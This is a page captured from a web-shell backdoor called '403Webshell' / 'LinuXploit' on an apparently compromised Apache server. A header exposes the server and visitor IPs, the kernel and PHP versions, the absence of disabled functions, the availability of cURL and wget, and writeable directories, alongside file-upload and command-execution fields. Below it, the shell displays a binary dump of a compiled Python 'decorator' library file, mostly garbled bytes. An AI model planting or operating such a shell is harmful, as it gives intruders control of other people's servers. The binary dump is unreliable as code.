403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.216.115
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/__pycache__/decorator.cpython-311.pyc
�

���apA��"�dZddlZddlZddlZddlZddlZddlmZddlmZm	Z	m
Z
dZejd��Z
ejjZejjZGd�de��Zd	�Zdd�Zd
�Zdd�ZGd�de��Zee��Zd�Zd�Zd�ZdS)zv
Decorator module, see
https://github.com/micheles/decorator/blob/master/docs/documentation.md
for the documentation.
�N)�_GeneratorContextManager)�getfullargspec�iscoroutinefunction�isgeneratorfunctionz5.1.1z\s*def\s*([_\w][_\w\d]*)\s*\(c�~�eZdZdZej��ZdxZxZxZ	xZ
xZZ		d
d�Z
d�Zdd�Ze		dd	���ZdS)
�
FunctionMakerz�
    An object with the ability to create functions with a given signature.
    It has attributes name, doc, module, signature, defaults, dict and
    methods update and make.
    �Nc	��||_|�r|j|_|jdkrd|_|j|_|j|_tj|���r�t|��}t|di��|_dD]!}	t||	t||	�����"t|j��D]\}
}t|d|
z|���t|j��}t|j��}
|jr;|�d|jz��|
�d|jz��n|jr|�d��|jD]4}	|�d|	z��|
�|	�d|	�����5|jr:|�d	|jz��|
�d	|jz��d
�|��|_d
�|
��|_|j���|_|r||_|�||_|r||_|r||_|r||_|r||_t5|d��sJ�t5|d��st7d
|z���dS)Nz<lambda>�_lambda_�__annotations__)�args�varargs�varkw�defaults�
kwonlyargs�kwonlydefaultszarg%d�*z%s=None�=z**�, �name�	signaturez%You are decorating a non function: %s)�shortsignature�__name__r�__doc__�doc�
__module__�module�inspect�	isroutiner�getattr�annotations�setattr�	enumerater
�listr�appendrr�joinr�__dict__�copy�dictr�hasattr�	TypeError)�self�funcrrrrr�funcdict�argspec�a�i�arg�allargs�allshortargss              �+/usr/lib/python3/dist-packages/decorator.py�__init__zFunctionMaker.__init__@s���'����	1��
�D�I��y�J�&�&�&��	��|�D�H��/�D�K�� ��&�&�
1�(��.�.��#*�4�1B�B�#G�#G�� �,�:�:�A��D�!�W�W�a�%8�%8�9�9�9�9�'��	�2�2�4�4�F�A�s��D�'�A�+�s�3�3�3�3��t�y�/�/��#�D�I�����<�(��N�N�3���#5�6�6�6� �'�'��d�l�(:�;�;�;�;��_�(��N�N�3�'�'�'���:�:�A��N�N�9�q�=�1�1�1� �'�'�1�1�1�a�a�(8�9�9�9�9��:�;��N�N�4�$�*�#4�5�5�5� �'�'��t�z�(9�:�:�:�!%���7�!3�!3���&*�i�i��&=�&=��#� �M�.�.�0�0��	��	��D�I�� �&�D�N��	%�$�D�M��	��D�H��	!� �D�K��	!� �D�I��t�V�$�$�$�$�$��t�[�)�)�	L��C�d�J�K�K�K�	L�	L�c��|j|_t|dd��|_t|di��|_|j|_|jpd|_t|dd��|_		tjd��}|j�
dd��}n#t$rd}YnwxYwt|d|��|_|j�|��dS)	zD
        Update the signature of func with the data in self
        rNr)r!�r�?r)rrr rr'r�__defaults__r�__kwdefaults__r�sys�	_getframe�	f_globals�get�AttributeErrorr�update)r,r-�kw�frame�callermodules     r5rBzFunctionMaker.updatets����	��
��t�U�D�1�1�����f�b�1�1��
� �M���"�1�9�T���&�t�]�D�A�A���	@��M�!�$�$�E�!�?�.�.�z�3�?�?�L�L���	�	�	��L�L�L�	����"�$��,�?�?����
���R� � � � � s�*B�B)�(B)Fc���|t|��z}|pi}t�|��}|�td|z���|�d��}t|gd�|j�d��D��z��}|D]}	|	dvrt|	�d|������|�	d��s|dz
}d	t|j��z}
	t||
d
��}t||��nE#t$r8tdt j���t|t j����wxYw||}|r||d
<|j|fi|��|S)zT
        Make a new function from a given template and update the signature
        Nz not a valid function template
%s�c�8�g|]}|�d����S)z *)�strip��.0r2s  r5�
<listcomp>z&FunctionMaker.make.<locals>.<listcomp>�s.��>�>�>�#�c�i�i��o�o�>�>�>r7�,)�_func_�_call_z is overridden in
�
z<decorator-gen-%d>�singlezError in generated code:)�file�
__source__)�vars�DEF�search�SyntaxError�group�setr�split�	NameError�endswith�next�_compile_count�compile�exec�	Exception�printr=�stderrrB)
r,�	src_templ�evaldict�	addsource�attrs�src�mor�names�n�filename�coder-s
             r5�makezFunctionMaker.make�s����$�t�*�*�$���>�r��
�Z�Z��_�_��
�:��A�C�G�H�H�H��x�x��{�{���T�F�>�>�"�1�7�7��<�<�>�>�>�>�?�?���	F�	F�A��(�(�(��Q�Q�Q��� D�E�E�E�)��|�|�D�!�!�	��4�K�C�
(�$�t�/B�*C�*C�C��	��3��(�3�3�D���x� � � � ���	�	�	��,�3�:�>�>�>�>��#�C�J�'�'�'�'��	������~���	&�"%�E�,�����D�"�"�E�"�"�"��s
�!D�AETc���t|t��r8|����dd��\}	}
|
dd�}d}nd}	d}|}|||	||||��}
d�d�|���D����}|�d��}|r)t|��rd|z�d	d
��}nd|z}|
j	|||fi|��S)z�
        Create a function from the strings name, signature and body.
        evaldict is the evaluation dictionary. If addsource is true an
        attribute __source__ is added to the result. The attributes attrs
        are added, if any.
        �(rGN���rPc3� K�|]	}d|zV��
dS)z    Nr	)rK�lines  r5�	<genexpr>z'FunctionMaker.create.<locals>.<genexpr>�s&����F�F�D�&�4�-�F�F�F�F�F�Fr7rOz#async def %(name)s(%(signature)s):
�returnzreturn awaitzdef %(name)s(%(signature)s):
)
�
isinstance�strrIrZr&�
splitlinesr@r�replacern)�cls�obj�bodyrerrrrfrgr�restrr-r,�ibody�callers                r5�createzFunctionMaker.create�s���c�3���	������*�*�3��2�2�J�D�$��S�b�S�	�I��D�D��D��I��D��s�4��y�(�C��@�@���	�	�F�F�D�O�O�4E�4E�F�F�F�F�F�����h�'�'���	<�)�&�1�1�	<�:�U�B�K�K��.�*�*�D�D�4�e�;�D��t�y��x��<�<�e�<�<�<r7)NNNNNNN�NF)NNNT)rr�__qualname__r�	itertools�countr^r
rrrrrr6rBrn�classmethodr�r	r7r5rr3s���������%�Y�_�&�&�N�GI�H�D�H�7�H�U�H�X�H�
�^�7;�@D�2L�2L�2L�2L�h!�!�!�&"�"�"�"�H�26�04�=�=�=��[�=�=�=r7rc�`�|j|i|��}|���|j|jfS)zA
    Fix args and kwargs to be consistent with the signature
    )�bind�apply_defaultsr
�kwargs)r
r��sig�bas    r5�fixr��s;��
���4�	"�6�	"�	"�B�������
�7�B�I��r7r	Fc�d������tj����t���r
�����fd�}n"t���r
�����fd�}n	�����fd�}�j|_�j|_�|_�|_�j|_	�j	|_	n#t$rYnwxYw	�j|_n#t$rYnwxYw	�j|_n#t$rYnwxYw	�j
|_
n#t$rYnwxYw	|j��j��n#t$rYnwxYw|S)af
    Decorates a function/generator/coroutine using a caller.
    If kwsyntax is True calling the decorated functions with keyword
    syntax will pass the named arguments inside the ``kw`` dictionary,
    even if such argument are positional, similarly to what functools.wraps
    does. By default kwsyntax is False and the the arguments are untouched.
    c��^�K��st||���\}}��g�|z�Ri|���d{V��S�N�r��r
rCr�extrasr-�kwsyntaxr�s  �����r5�funzdecorate.<locals>.fun�sZ������
.��t�R��-�-���b����=���
�=�=�=�"�=�=�=�=�=�=�=�=�=r7c?�d�K��st||���\}}��g�|z�Ri|��D]}|V��dSr�r�)r
rC�resrr�r-r�r�s   �����r5r�zdecorate.<locals>.fun�sf������
.��t�R��-�-���b��v�d�;�f�t�m�;�;�;��;�;�
�
���	�	�	�	�
�
r7c�N���st||���\}}��g�|z�Ri|��Sr�r�r�s  �����r5r�zdecorate.<locals>.fun�sD����
.��t�R��-�-���b��6�$�7�&�4�-�7�7�7�B�7�7�7r7)rrrrrr�__wrapped__�
__signature__r�r;rAr<rrr'rB)r-rr�r�r�r�s```` @r5�decorater��s��������
�D�
!�
!�C��6�"�"�8�	>�	>�	>�	>�	>�	>�	>�	>�	>�	>�
�V�	$�	$�
8�	�	�	�	�	�	�	�	�	�	�	8�	8�	8�	8�	8�	8�	8�	8�	8��=�C�L��,�C�K��C�O��C���(�C��
��,������
�
�
���
����
�!�0������
�
�
���
����
�"�2������
�
�
���
����
��������
�
�
���
����
�����D�M�*�*�*�*���
�
�
���
�����JsZ�B�
B"�!B"�&B3�3
C�?C�C�
C�C�"C/�/
C<�;C<�D � 
D-�,D-c����fd�}|S)z�
    A version of "decorator" implemented via "exec" and not via the
    Signature object. Use this if you are want to preserve the `.__code__`
    object properties (https://github.com/micheles/decorator/issues/129).
    c�j��t�|dt�|���||j���S)Nz)return _call_(_func_, %(shortsignature)s))rOrN)r�r�)rr�r)r�)r-rs �r5�deczdecoratorx.<locals>.decs>����#�#��7���t�,�,�,��4�+<�	$�>�>�	>r7r	)rr�s` r5�
decoratorxr�s#���>�>�>�>�>��Jr7c�����|�t|�d���Stj���}d�|j���D���d���fd�	}|�����|_�j|_�j|_�|_	�j
|_
t�dd��|_|j
��j
��|S)zG
    decorator(caller) converts a caller function into a decorator
    Nr	c�.�g|]}|jtu�|��Sr	)�kind�POS)rK�ps  r5rLzdecorator.<locals>.<listcomp>s��F�F�F����#�
�
�!�
�
�
r7c�����t|��dz}|t�fd��|d�D����z�|����fd�St|�����S)NrGc3�t�K�|]2}|jtu���|j|j��V��3dSr�)�default�EMPTYr@r)rKr�rCs  �r5rtz)decorator.<locals>.dec.<locals>.<genexpr>"sN�����9�9�"#�!"��%�!7�!7�!�f�f�Q�V�Q�Y�7�7�!7�!7�!7�!7�9�9r7c�(��t|�����Sr��r�)r-rr�r�s ���r5�<lambda>z(decorator.<locals>.dec.<locals>.<lambda>&s�����v�v�x� H� H�r7)�len�tupler�)r-r
rC�nar�r�
dec_paramsr�s  ` @���r5r�zdecorator.<locals>.dec s������
��Y�Y��]����9�9�9�9�'1�"�#�#��9�9�9�9�9�9���<�H�H�H�H�H�H�H��D�&�&�(�;�;�;r7)�
parametersr<r�)r�rrr��valuesryr�rrr�r�r r<r'rB)r�_funcr�r�r�r�s` `  @r5�	decoratorr�s������
����v�r�8�4�4�4�
�
�F�
#�
#�C�F�F�S�^�2�2�4�4�F�F�F�J�<�<�<�<�<�<�<�<����z��:�:�C���?�C�L��.�C�K��C�O��*�C�� ��)9�4�@�@�C���L�����(�(�(��Jr7c��eZdZd�Zd�ZdS)�ContextManagerc�4�tj||||��dSr�)rr6)r,�gr0�ks    r5r6zContextManager.__init__7s�� �)�$��1�a�8�8�8�8�8r7c�.���fd�}t||��S)Nc����j�jg�j�Ri�j��5||i|��cddd��S#1swxYwYdSr�)�	__class__r-r
�kwds)�fr0r�r,s   �r5rz'ContextManager.__call__.<locals>.caller;s��������	�C�D�I�C�C�C���C�C�
"�
"��q�!�z�q�z�z�
"�
"�
"�
"�
"�
"�
"�
"�
"�
"�
"�
"����
"�
"�
"�
"�
"�
"s�7�;�;r�)r,r-rs`  r5�__call__zContextManager.__call__:s.���	"�	"�	"�	"�	"���f�%�%�%r7N)rrr�r6r�r	r7r5r�r�6s2������9�9�9�&�&�&�&�&r7r�c� �t|��Sr�)�_contextmanager)r-s r5�contextmanagerr�Ds���4� � � r7c��d}t|��D]0\}}t||��rd}nt||��r|||<d}�1|r|�|��dSdS)z_
    Append ``a`` to the list of the virtual ancestors, unless it is already
    included.
    TFN)r#�
issubclassr%)r0�
vancestors�add�j�vas     r5r%r%Ks���
�C��:�&�&�����2��b�!���	��C��E��a����	��J�q�M��C��
�����!�������r7c������s
Jd���dd����z�tjdf�fd�	����fd�}d�z|_|S)zr
    Factory of decorators turning a function into a generic function
    dispatching on the given arguments.
    zNo dispatch args passedz(%s,)r�c���|t|��t�����r/tdt���t|��|fz���dS)z5Make sure one passes the expected number of argumentszExpected %d arguments, got %d%sN)r�r+)�	arguments�wrong�msg�
dispatch_argss   �r5�checkzdispatch_on.<locals>.checkesh����5��Y����]�!3�!3�4�4�	G��=� ��/�/��Y����E�F�G�G�
G�	G�	Gr7c�F������tt���j��}t�	��|kstd�
z���i���	�fd����fd����fd�}��fd�}���fd�}t��d�
zt
|���|����|��	�
�
S)
z4Decorator turning a function into a generic functionzUnknown dispatch arguments %sc�$���|��d�tt�����D��}�D]P}t|||��D]<\}}}t||��r&||���vrt||���=�Qd�|D��S)zU
            Get a list of sets of virtual ancestors for the given types
            c��g|]}g��Sr	r	)rK�_s  r5rLzIdispatch_on.<locals>.gen_func_dec.<locals>.vancestors.<locals>.<listcomp>zs��9�9�9�!�2�9�9�9r7c�,�g|]}t|����Sr	)rY)rK�ras  r5rLzIdispatch_on.<locals>.gen_func_dec.<locals>.vancestors.<locals>.<listcomp>s��*�*�*��C��G�G�*�*�*r7)�ranger��zipr��mror%)	�types�ras�types_�t�type_r�r�r��typemaps	      ���r5r�z5dispatch_on.<locals>.gen_func_dec.<locals>.vancestorsus����
�E�%�L�L�L�9�9�u�S��%7�%7�8�8�9�9�9�C�!�
*�
*��$'��v�s�$;�$;�*�*�L�A�u�b�!�!�U�+�+�*��Q�U�U�W�W�0D�0D��u�b�)�)�)��*�+�*�c�*�*�*�*r7c�z���|��g}t|�|���D]�\}}t|��}|dkrtd|�d|�����|dkr2|\}td||fi�����dd�}n|���}|�|dd�����|S)zG
            Get a list of virtual MROs, one for each type
            rGzAmbiguous dispatch for z: r�Nrq)r�r��RuntimeError�typer�r%)	r��listsr��vas�n_vasr�r�r�r�s	       ��r5�	ancestorsz4dispatch_on.<locals>.gen_func_dec.<locals>.ancestors�s����
�E�%�L�L�L��E��e�Z�Z��%7�8�8�

'�

'���3��C�����1�9�9�&�,�;<�1�1�c�c�B�D�D�D��a�Z�Z��C�B��s�Q��G�R�0�0�4�4�6�6�q�r�r�:�C�C��%�%�'�'�C����S��"��X�&�&�&�&��Lr7c�.����������fd�}|S)zU
            Decorator to register an implementation for the given types
            c�t���t|��jtjd|jz��|��<|S)Nz in )rr
�operator�ltr)r�r�r�r�s ���r5r�z@dispatch_on.<locals>.gen_func_dec.<locals>.register.<locals>.dec�s9�����n�Q�'�'�,�h�k�6�A�J�;N�O�O�O�!"�����r7r	)r�r�r�r�s` ��r5�registerz3dispatch_on.<locals>.gen_func_dec.<locals>.register�s=����
�E�%�L�L�L�
�
�
�
�
�
�
��Jr7c����|��g}tj�|��D].}|�td�|D�������/|S)zI
            An utility to introspect the dispatch algorithm
            c3�$K�|]}|jV��dSr�)r)rKr0s  r5rtzKdispatch_on.<locals>.gen_func_dec.<locals>.dispatch_info.<locals>.<genexpr>�s$���� 9� 9���� 9� 9� 9� 9� 9� 9r7)r��productr%r�)r��lst�ancr�r�s   ��r5�
dispatch_infoz8dispatch_on.<locals>.gen_func_dec.<locals>.dispatch_info�sf���
�E�%�L�L�L��C� �(�)�)�U�*;�<�
;�
;���
�
�5� 9� 9�S� 9� 9� 9�9�9�:�:�:�:��Jr7c���td�|D����}	�	|}||i|��S#t$rYnwxYwtj�|��}t	|��|D]#}�	�|��}|�
||i|��cS�$�|i|��S)Nc3�4K�|]}t|��V��dSr�)r�rJs  r5rtzGdispatch_on.<locals>.gen_func_dec.<locals>._dispatch.<locals>.<genexpr>�s(����=�=��$�s�)�)�=�=�=�=�=�=r7)r��KeyErrorr�r�r]r@)
r�r
rCr�r��combinationsr�r�r-r�s
       ���r5�	_dispatchz4dispatch_on.<locals>.gen_func_dec.<locals>._dispatch�s�����=�=�}�=�=�=�=�=�E�
&��E�N���q�$�~�"�~�~�%���
�
�
���
����%�,�i�i��.?�@�L������&�
*�
*���K�K��'�'���=��1�d�>�b�>�>�)�)�)�!��4��$��$�$�$s�,�
9�9z#return _f_(%s, %%(shortsignature)s))�_f_)r�r�r�r�r�r�r�)rYrr
r[rr�r))r-�argsetr�r�r�r�r�r�r�r��dispatch_strs`    @@@���r5�gen_func_decz!dispatch_on.<locals>.gen_func_decks5��������^�D�)�)�.�/�/���=�!�!�V�+�+��;�l�J�K�K�K���
	+�
	+�
	+�
	+�
	+�
	+�
	+�	�	�	�	�	�	�&
	�
	�
	�
	�
	�
	�	�	�	�	�	�	�	%�	%�	%�	%�	%�	%�	%�$�#�#��7�,�F��Y����(�D��
�i�'�T�	$�;�;�	;r7�dispatch_on)r&r��ner)r�r�r�r�s` @@r5r�r�]s������
�3�3�3�3�3�3��T�Y�Y�}�5�5�5�L�'�{��G�G�G�G�G�G�U;�U;�U;�U;�U;�U;�U;�n*�L�8�L���r7)r	Fr�)r�rer=rr�r��
contextlibrrrr�__version__r_rU�	Parameter�POSITIONAL_OR_KEYWORDr��emptyr��objectrr�r�r�r�r�r�r�r%r�r	r7r5�<module>rs���<��

�	�	�	�
�
�
�
�������������/�/�/�/�/�/�L�L�L�L�L�L�L�L�L�L����b�j�1�2�2��
��-������Q=�Q=�Q=�Q=�Q=�F�Q=�Q=�Q=�h���3�3�3�3�l�������B&�&�&�&�&�-�&�&�&��)�N�+�+��!�!�!����$f�f�f�f�fr7

Youez - 2016 - github.com/yon3zu
LinuXploit